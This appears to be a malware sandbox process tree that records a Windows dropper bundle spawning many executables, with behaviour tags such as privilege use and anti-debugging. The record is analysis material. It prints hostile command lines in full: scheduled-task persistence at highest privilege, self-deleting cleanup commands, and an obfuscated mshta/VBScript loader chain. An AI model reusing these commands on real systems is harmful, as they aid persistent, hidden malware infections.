C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4872 -s 23604⤵
- Program crash
PID:8352
-
-
-
C:\Users\Admin\AppData\Roaming\4709399.exe"C:\Users\Admin\AppData\Roaming\4709399.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5788 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 24244⤵
- Program crash
PID:7236
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 24244⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:7712
-
-
-
-
C:\Users\Admin\Documents\PVVnS9To_I4L8FVfvn4ndKA0.exe"C:\Users\Admin\Documents\PVVnS9To_I4L8FVfvn4ndKA0.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:1172 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:4216
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:1636
-
-
C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"3⤵PID:3424
-
C:\Users\Admin\Documents\xiOTV_EqoRK54aU16WLOEZrv.exe"C:\Users\Admin\Documents\xiOTV_EqoRK54aU16WLOEZrv.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6032 -
C:\Users\Admin\AppData\Roaming\1119542.exe"C:\Users\Admin\AppData\Roaming\1119542.exe"5⤵
- Suspicious behavior: SetClipboardViewer
PID:7064
-
-
C:\Users\Admin\AppData\Roaming\6947369.exe"C:\Users\Admin\AppData\Roaming\6947369.exe"5⤵PID:6172
-
-
C:\Users\Admin\AppData\Roaming\4233545.exe"C:\Users\Admin\AppData\Roaming\4233545.exe"5⤵PID:6916
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6916 -s 23286⤵
- Program crash
PID:7420
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6916 -s 23286⤵
- Program crash
PID:4604
-
-
-
C:\Users\Admin\AppData\Roaming\6868748.exe"C:\Users\Admin\AppData\Roaming\6868748.exe"5⤵PID:6764
-
-
C:\Users\Admin\AppData\Roaming\8160874.exe"C:\Users\Admin\AppData\Roaming\8160874.exe"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3132 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3132 -s 22206⤵
- Program crash
PID:3840
-
-
-
-
C:\Users\Admin\Documents\XibDT0XF9Bw1PySWhtDgsoRv.exe"C:\Users\Admin\Documents\XibDT0XF9Bw1PySWhtDgsoRv.exe"4⤵
- Executes dropped EXE
PID:4028 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4028 -s 2765⤵
- Program crash
PID:7116
-
-
-
-
-
C:\Users\Admin\Documents\EK4oxKYxuPqKbtGLfG4I3xKt.exe"C:\Users\Admin\Documents\EK4oxKYxuPqKbtGLfG4I3xKt.exe"2⤵
- Executes dropped EXE
PID:1116 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1116 -s 2763⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3572
-
-
-
C:\Users\Admin\Documents\mEV16ffgILqk6dY6Oo6hdjMR.exe"C:\Users\Admin\Documents\mEV16ffgILqk6dY6Oo6hdjMR.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1780 -
C:\Users\Admin\Documents\mEV16ffgILqk6dY6Oo6hdjMR.exe"C:\Users\Admin\Documents\mEV16ffgILqk6dY6Oo6hdjMR.exe"3⤵PID:8164
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im mEV16ffgILqk6dY6Oo6hdjMR.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\mEV16ffgILqk6dY6Oo6hdjMR.exe" & del C:\ProgramData\*.dll & exit4⤵PID:5784
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im mEV16ffgILqk6dY6Oo6hdjMR.exe /f5⤵
- Kills process with taskkill
PID:3432
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 65⤵
- Delays execution with timeout.exe
PID:7828
-
-
-
-
-
C:\Users\Admin\Documents\XYO3MHXLpx8NpACTxzANIQ6u.exe"C:\Users\Admin\Documents\XYO3MHXLpx8NpACTxzANIQ6u.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1864
-
-
C:\Users\Admin\Documents\NW5Z3qPefjTEusXKFa8IVskj.exe"C:\Users\Admin\Documents\NW5Z3qPefjTEusXKFa8IVskj.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3304 -
C:\Users\Admin\AppData\Roaming\4307525.exe"C:\Users\Admin\AppData\Roaming\4307525.exe"3⤵PID:4784
-
-
C:\Users\Admin\AppData\Roaming\7849818.exe"C:\Users\Admin\AppData\Roaming\7849818.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3820
-
-
C:\Users\Admin\AppData\Roaming\1629069.exe"C:\Users\Admin\AppData\Roaming\1629069.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4888
-
-
C:\Users\Admin\AppData\Roaming\7535518.exe"C:\Users\Admin\AppData\Roaming\7535518.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:660 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
PID:4040
-
-
-
C:\Users\Admin\AppData\Roaming\5746688.exe"C:\Users\Admin\AppData\Roaming\5746688.exe"3⤵PID:4780
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4780 -s 23564⤵
- Program crash
PID:8300
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4780 -s 23564⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:8360
-
-
-
-
C:\Users\Admin\Documents\zMUrqUseMMFEFClqf7TFzbnM.exe"C:\Users\Admin\Documents\zMUrqUseMMFEFClqf7TFzbnM.exe"2⤵
- Executes dropped EXE
PID:2892 -
C:\Users\Admin\Documents\zMUrqUseMMFEFClqf7TFzbnM.exe"C:\Users\Admin\Documents\zMUrqUseMMFEFClqf7TFzbnM.exe" -u3⤵
- Executes dropped EXE
PID:2676
-
-
-
C:\Users\Admin\Documents\iyWbZrjDD_TkLT4fxGQhMul1.exe"C:\Users\Admin\Documents\iyWbZrjDD_TkLT4fxGQhMul1.exe"2⤵
- Executes dropped EXE
PID:2376 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2376 -s 2403⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:6108
-
-
-
C:\Users\Admin\Documents\mUdx2n7wPbN9LsUUE5s9jXl3.exe"C:\Users\Admin\Documents\mUdx2n7wPbN9LsUUE5s9jXl3.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1716
-
-
C:\Users\Admin\Documents\BLCCLf1y9EcrCs_JXcLerkA1.exe"C:\Users\Admin\Documents\BLCCLf1y9EcrCs_JXcLerkA1.exe"2⤵
- Executes dropped EXE
PID:1888 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 2723⤵
- Program crash
PID:2604
-
-
-
C:\Users\Admin\Documents\mQnGo1IiFkffX5J7JBljq4Bl.exe"C:\Users\Admin\Documents\mQnGo1IiFkffX5J7JBljq4Bl.exe"2⤵
- Executes dropped EXE
PID:3408 -
C:\Users\Admin\AppData\Local\Temp\is-0GKNF.tmp\mQnGo1IiFkffX5J7JBljq4Bl.tmp"C:\Users\Admin\AppData\Local\Temp\is-0GKNF.tmp\mQnGo1IiFkffX5J7JBljq4Bl.tmp" /SL5="$1027A,138429,56832,C:\Users\Admin\Documents\mQnGo1IiFkffX5J7JBljq4Bl.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:4176 -
C:\Users\Admin\AppData\Local\Temp\is-JA6CN.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-JA6CN.tmp\Setup.exe" /Verysilent4⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4324 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplis.ru/1S2Qs75⤵
- Adds Run key to start application
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:4384 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffcae1546f8,0x7ffcae154708,0x7ffcae1547186⤵PID:5552
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2160,7771362476416850210,15180640494589419697,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2692 /prefetch:86⤵PID:7312
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2160,7771362476416850210,15180640494589419697,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:36⤵
- Suspicious behavior: EnumeratesProcesses
PID:7228
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,7771362476416850210,15180640494589419697,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:16⤵PID:5352
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2160,7771362476416850210,15180640494589419697,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:26⤵PID:6312
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,7771362476416850210,15180640494589419697,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:16⤵PID:7336
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,7771362476416850210,15180640494589419697,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4836 /prefetch:16⤵PID:7904
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,7771362476416850210,15180640494589419697,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4876 /prefetch:16⤵PID:1888
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2160,7771362476416850210,15180640494589419697,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5464 /prefetch:86⤵PID:8812
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2160,7771362476416850210,15180640494589419697,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5464 /prefetch:86⤵PID:10040
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2160,7771362476416850210,15180640494589419697,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4768 /prefetch:26⤵PID:4596
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,7771362476416850210,15180640494589419697,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3584 /prefetch:16⤵PID:4496
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,7771362476416850210,15180640494589419697,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4756 /prefetch:16⤵PID:9612
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,7771362476416850210,15180640494589419697,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3852 /prefetch:16⤵PID:6868
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,7771362476416850210,15180640494589419697,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4572 /prefetch:16⤵PID:2044
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"5⤵PID:1200
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"6⤵PID:7016
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK7⤵
- Delays execution with timeout.exe
PID:8788
-
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe"5⤵
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:2572
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4940 -
C:\Users\Admin\AppData\Local\Temp\tmpBD75_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmpBD75_tmp.exe"6⤵PID:8068
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe7⤵PID:5600
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Pei.xll7⤵PID:8104
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:5992
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^HlGEvpOWJOEhLjtMCMDsxiaRDGubGurupaMHjGXUgfrcGybsXUFbdIsmSOwQrdfCLnrzmbAVPJrtrXlnpOAMBGPBqjObFuRXZBJowtRmxKIHEjcVEDHgPDwyIBahIedISyy$" Passa.xll9⤵PID:8208
-
-
C:\Windows\SysWOW64\PING.EXEping localhost9⤵
- Runs ping.exe
PID:8832
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.comTra.exe.com o9⤵PID:8824
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o10⤵PID:9944
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o11⤵
- Suspicious use of AdjustPrivilegeToken
PID:5948
-
-
-
-
-
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"5⤵PID:4008
-
C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe" -a6⤵PID:7040
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"5⤵PID:5948
-
C:\Users\Admin\AppData\Roaming\8622210.exe"C:\Users\Admin\AppData\Roaming\8622210.exe"6⤵
- Suspicious use of AdjustPrivilegeToken
PID:6284 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6284 -s 23447⤵
- Program crash
PID:9832
-
-
-
C:\Users\Admin\AppData\Roaming\2419993.exe"C:\Users\Admin\AppData\Roaming\2419993.exe"6⤵
- Suspicious behavior: SetClipboardViewer
PID:6292
-
-
C:\Users\Admin\AppData\Roaming\3484766.exe"C:\Users\Admin\AppData\Roaming\3484766.exe"6⤵
- Suspicious use of AdjustPrivilegeToken
PID:6760
-
-
C:\Users\Admin\AppData\Roaming\4549539.exe"C:\Users\Admin\AppData\Roaming\4549539.exe"6⤵
- Suspicious use of AdjustPrivilegeToken
PID:7280
-
-
C:\Users\Admin\AppData\Roaming\6390574.exe"C:\Users\Admin\AppData\Roaming\6390574.exe"6⤵PID:7476
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7476 -s 24487⤵
- Program crash
PID:8220
-
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent5⤵PID:4936
-
C:\Users\Admin\AppData\Local\Temp\is-Q9RL9.tmp\stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-Q9RL9.tmp\stats.tmp" /SL5="$402AE,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent6⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:768 -
C:\Users\Admin\AppData\Local\Temp\is-6R7H5.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-6R7H5.tmp\Setup.exe" /Verysilent7⤵
- Suspicious behavior: EnumeratesProcesses
PID:4844 -
C:\Users\Admin\Documents\a6hfrV_u7CoYiokOobBLwzeU.exe"C:\Users\Admin\Documents\a6hfrV_u7CoYiokOobBLwzeU.exe"8⤵PID:4692
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST9⤵
- Creates scheduled task(s)
PID:10196
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST9⤵
- Creates scheduled task(s)
PID:10152
-
-
C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"9⤵PID:8116
-
C:\Users\Admin\Documents\AuyS4JPYWt3kKzK6quYE1EXJ.exe"C:\Users\Admin\Documents\AuyS4JPYWt3kKzK6quYE1EXJ.exe"10⤵PID:9820
-
C:\Users\Admin\AppData\Roaming\2662151.exe"C:\Users\Admin\AppData\Roaming\2662151.exe"11⤵PID:10344
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 10344 -s 232812⤵
- Program crash
PID:6572
-
-
-
C:\Users\Admin\AppData\Roaming\5359138.exe"C:\Users\Admin\AppData\Roaming\5359138.exe"11⤵PID:10636
-
-
C:\Users\Admin\AppData\Roaming\4060381.exe"C:\Users\Admin\AppData\Roaming\4060381.exe"11⤵PID:7128
-
-
C:\Users\Admin\AppData\Roaming\5150943.exe"C:\Users\Admin\AppData\Roaming\5150943.exe"11⤵PID:5104
-
-
C:\Users\Admin\AppData\Roaming\2202508.exe"C:\Users\Admin\AppData\Roaming\2202508.exe"11⤵PID:10820
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10820 -s 246812⤵
- Program crash
PID:3984
-
-
-
-
C:\Users\Admin\Documents\Nj_HlOCRTh2IKxu44i0XEBKb.exe"C:\Users\Admin\Documents\Nj_HlOCRTh2IKxu44i0XEBKb.exe"10⤵PID:1140
-
-
-
-
C:\Users\Admin\Documents\qmCvoMYVTfxcaTlZriKL9zE6.exe"C:\Users\Admin\Documents\qmCvoMYVTfxcaTlZriKL9zE6.exe"8⤵PID:6336
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6336 -s 2409⤵
- Program crash
PID:8600
-
-
-
C:\Users\Admin\Documents\DhI30vxieP6E_wwtO3oGanol.exe"C:\Users\Admin\Documents\DhI30vxieP6E_wwtO3oGanol.exe"8⤵PID:5324
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 2409⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:9468
-
-
-
C:\Users\Admin\Documents\Lji4OU93c36iAk7PTYLSOtJZ.exe"C:\Users\Admin\Documents\Lji4OU93c36iAk7PTYLSOtJZ.exe"8⤵PID:8508
-
-
C:\Users\Admin\Documents\vFfy3cwnpuGOFczhejoZMA_l.exe"C:\Users\Admin\Documents\vFfy3cwnpuGOFczhejoZMA_l.exe"8⤵PID:1452
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1452 -s 2329⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:9436
-
-
-
C:\Users\Admin\Documents\Ae0Lh5NrSLAIuTTeyuyyIlef.exe"C:\Users\Admin\Documents\Ae0Lh5NrSLAIuTTeyuyyIlef.exe"8⤵PID:8640
-
-
C:\Users\Admin\Documents\YtlnYKkWBNZZ0rwipSvAs62G.exe"C:\Users\Admin\Documents\YtlnYKkWBNZZ0rwipSvAs62G.exe"8⤵PID:8380
-
-
C:\Users\Admin\Documents\awBZAgHGtFDoSOVzEPf_tMnF.exe"C:\Users\Admin\Documents\awBZAgHGtFDoSOVzEPf_tMnF.exe"8⤵PID:4564
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\awBZAgHGtFDoSOVzEPf_tMnF.exe"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF """" == """" for %N In ( ""C:\Users\Admin\Documents\awBZAgHGtFDoSOVzEPf_tMnF.exe"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )9⤵PID:9324
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\awBZAgHGtFDoSOVzEPf_tMnF.exe" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "" == "" for %N In ("C:\Users\Admin\Documents\awBZAgHGtFDoSOVzEPf_tMnF.exe" ) do taskkill -F /Im "%~nXN"10⤵PID:6368
-
C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exEKRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG11⤵PID:6460
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF ""-pA1IQsAATOS0kxrmeOcrgfdjncUG "" == """" for %N In ( ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )12⤵PID:9628
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "-pA1IQsAATOS0kxrmeOcrgfdjncUG " == "" for %N In ("C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" ) do taskkill -F /Im "%~nXN"13⤵PID:7796
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\p_ZPP.J p12⤵PID:7892
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -F /Im "awBZAgHGtFDoSOVzEPf_tMnF.exe"11⤵
- Kills process with taskkill
PID:8960
-
-
-
-
-
C:\Users\Admin\Documents\aDNkI1Y0IEcXlCqmGt8cf87e.exe"C:\Users\Admin\Documents\aDNkI1Y0IEcXlCqmGt8cf87e.exe"8⤵PID:8512
-
C:\Users\Admin\AppData\Roaming\3475958.exe"C:\Users\Admin\AppData\Roaming\3475958.exe"9⤵PID:7580
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 7580 -s 231210⤵
- Program crash
PID:11132
-
-
-
